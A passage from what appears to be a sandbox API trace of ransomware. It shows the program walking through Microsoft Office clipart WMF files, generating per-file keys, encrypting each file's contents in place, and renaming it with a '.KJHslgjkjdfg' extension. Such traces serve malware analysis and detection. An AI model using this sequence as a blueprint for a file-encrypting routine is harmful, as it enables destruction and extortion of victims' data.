dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.193] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.193] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.193] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x794, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x794, lpOverlapped=0x0) returned 1 [0202.193] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7a0, dwBufLen=0x7a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7a0) returned 1 [0202.194] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.194] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7a0, lpOverlapped=0x0) returned 1 [0202.194] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.194] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x874, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.194] SetEndOfFile (hFile=0x130) returned 1 [0202.196] GetProcessHeap () returned 0x2ef0000 [0202.196] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.196] GetProcessHeap () returned 0x2ef0000 [0202.197] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.197] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf.kjhslgjkjdfg")) returned 1 [0202.198] CloseHandle (hObject=0x130) returned 1 [0202.198] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152892.WMF", cAlternateFileName="")) returned 1 [0202.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.199] GetProcessHeap () returned 0x2ef0000 [0202.199] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.199] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.199] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.199] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.202] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.202] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.202] GetProcessHeap () returned 0x2ef0000 [0202.202] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.202] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.202] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.202] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.202] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.202] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.202] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.202] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.202] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.202] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.202] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.203] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.203] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x29ac, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x29ac, lpOverlapped=0x0) returned 1 [0202.204] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x29b0, dwBufLen=0x29b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x29b0) returned 1 [0202.204] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.204] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x29b0, lpOverlapped=0x0) returned 1 [0202.204] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.204] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2a84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.204] SetEndOfFile (hFile=0x130) returned 1 [0202.207] GetProcessHeap () returned 0x2ef0000 [0202.207] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.207] GetProcessHeap () returned 0x2ef0000 [0202.207] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.207] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf.kjhslgjkjdfg")) returned 1 [0202.208] CloseHandle (hObject=0x130) returned 1 [0202.208] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c54, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152894.WMF", cAlternateFileName="")) returned 1 [0202.208] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.209] GetProcessHeap () returned 0x2ef0000 [0202.209] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.209] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.209] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.209] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0202.214] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.214] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.214] GetProcessHeap () returned 0x2ef0000 [0202.214] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.214] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.214] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.214] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.214] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.214] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.214] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.214] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.215] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.215] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.215] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.215] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.215] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2c54, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2c54, lpOverlapped=0x0) returned 1 [0202.216] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2c60, dwBufLen=0x2c60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2c60) returned 1 [0202.216] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.216] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2c60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2c60, lpOverlapped=0x0) returned 1 [0202.216] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.216] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2d34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.216] SetEndOfFile (hFile=0x130) returned 1 [0202.219] GetProcessHeap () returned 0x2ef0000 [0202.219] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.219] GetProcessHeap () returned 0x2ef0000 [0202.219] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.219] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf.kjhslgjkjdfg")) returned 1 [0202.221] CloseHandle (hObject=0x130) returned 1 [0202.221] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1190, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152898.WMF", cAlternateFileName="")) returned 1 [0202.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.222] GetProcessHeap () returned 0x2ef0000 [0202.222] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.222] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.222] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.222] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.222] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.222] GetProcessHeap () returned 0x2ef0000 [0202.222] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.222] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.222] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.222] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.224] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.225] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.225] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.225] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.225] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.225] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.225] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.225] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.225] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1190, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1190, lpOverlapped=0x0) returned 1 [0202.226] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1190, dwBufLen=0x1190 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1190) returned 1 [0202.226] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.226] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1190, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1190, lpOverlapped=0x0) returned 1 [0202.226] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.226] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.227] SetEndOfFile (hFile=0x130) returned 1 [0202.229] GetProcessHeap () returned 0x2ef0000 [0202.229] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.229] GetProcessHeap () returned 0x2ef0000 [0202.229] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.229] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf.kjhslgjkjdfg")) returned 1 [0202.232] CloseHandle (hObject=0x130) returned 1 [0202.232] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x812c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153047.WMF", cAlternateFileName="")) returned 1 [0202.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.233] GetProcessHeap () returned 0x2ef0000 [0202.233] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.233] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.233] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.234] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.236] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.236] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.236] GetProcessHeap () returned 0x2ef0000 [0202.236] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.236] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.236] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.236] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.236] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.236] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.236] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.236] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.236] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.236] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.236] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.237] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.237] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x812c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x812c, lpOverlapped=0x0) returned 1 [0202.251] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8130, dwBufLen=0x8130 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8130) returned 1 [0202.252] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.252] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8130, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8130, lpOverlapped=0x0) returned 1 [0202.252] CryptDestroyKey (hKey=0x2f182c8) 